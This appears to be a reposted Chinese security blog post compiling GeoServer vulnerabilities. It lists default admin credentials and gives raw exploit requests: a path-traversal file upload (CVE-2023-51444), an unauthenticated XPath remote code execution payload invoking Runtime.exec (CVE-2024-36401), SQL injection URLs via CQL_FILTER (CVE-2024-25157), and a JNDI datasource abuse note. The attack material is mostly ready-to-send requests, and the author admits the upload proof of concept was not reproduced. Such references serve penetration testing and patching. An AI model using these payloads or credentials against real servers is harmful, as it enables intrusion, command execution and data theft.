Geoserver最全历史漏洞详解

admin 2024年7月5日14:04:59评论21 views字数 2570阅读8分34秒阅读模式

这个系列(合集 技巧收集)会写的比较杂,比较细。由于知识点比较多(不如说,需要死记硬背的知识点比较多),文章会偏短,更倾向于成为需时翻阅的资料,而非作为坐而论道的论文。

如有错漏,还请谅解~

. . . * . * ☄️. * . * . 🔆.* . * . 🧶 * . * . . .

之前转过一篇星网实验室的,这次有新洞+遇到了一次,所以还是自己整理下。说是“最全”,是因为小搜一下没有看到比较系统且新的整理笔记,无伤大雅的广告宣传词~

本文中一共有三个漏洞,一个feature。

Geoserver最全历史漏洞详解

1 弱口令

geoserver/geoserver

admin/geoserver

2 文件上传

漏洞编号

CVE-2023-51444

利用条件

GeoServer < 2.23.4

2.24.0 <= GeoServer < 2.24.1

已登录

POC

这个我没复现出来,整理了一下网上的内容。工作区->新建工作区->数据源 ImageMosaic创建一个工作空间:

Geoserver最全历史漏洞详解

然后提交(我在网上看到了多种类型的包,要是docker没有被ban还能复现以下,可惜我懒得折腾代理了现在):

POST /geoserver/rest/workspaces/<WORKSPACE_NAME>/coveragestores/<WAREHOUSE_NAME>/file.geotiff?filename=../../../ROOT/1.txt HTTP/1.1
Host: X
Connection: close
Content-Length:1
sec-ch-ua:"Not/A)Brand";v="8","Chromium";v="126","Google Chrome";v="126"
sec-ch-ua-mobile:?0
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/119.0.0.0Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/xml, text/xml,*/*; q=0.01
Wicket-Ajax-BaseURL: wicket/page?19
X-Requested-With: XMLHttpRequest
Wicket-Ajax: true
sec-ch-ua-platform: "Windows"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

1

3 XPath RCE

漏洞编号

CVE-2024-36401

利用条件

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

无需登录

POC

这也就是最近疯传的一个RCE漏洞,笔者本来只是想给这一个漏洞写文章,但是感觉太水,就扩成了现在这篇。
由于是无需登录的,直接上包:
POST /geoserver/ows HTTP/1.1
Host: X
Connection: close
sec-ch-ua:"Not/A)Brand";v="8","Chromium";v="126","Google Chrome";v="126"
sec-ch-ua-mobile:?0
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/119.0.0.0Safari/537.36
sec-ch-ua-platform:"Windows"
Accept:*/*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/xml
Content-Length: 314

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"^ ^")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

4 SQL注入

漏洞编号

CVE-2024-25157

利用条件

geoserver<2.18.7

2.19.0<=geoserver<2.19.7

2.20.0<=geoserver<2.20.7

2.21.0<=geoserver<2.21.4

2.22.0<=geoserver<2.22.2

无需登录

POC

两步走。 
第一步找FeatureType/Name:
/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
Geoserver最全历史漏洞详解

第二部填入typeName,注入点在CQL_FILTER处:

/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=&maxFeatures=1&outputFormat=json&&CQL_FILTER=*

5 JNDI RCE

这个只能算是对功能进行利用,也就是所谓的feature。

存储仓库->新建数据源->PostGIS(JNDI),使用JNDI执行命令(请参考蓝凌后台JNDI getshell)。

Geoserver最全历史漏洞详解

 

 

原文始发于微信公众号(重生之成为赛博女保安):(建议收藏)Geoserver最全历史漏洞详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月5日14:04:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Geoserver最全历史漏洞详解https://cn-sec.com/archives/2921958.html

发表评论

匿名网友 填写信息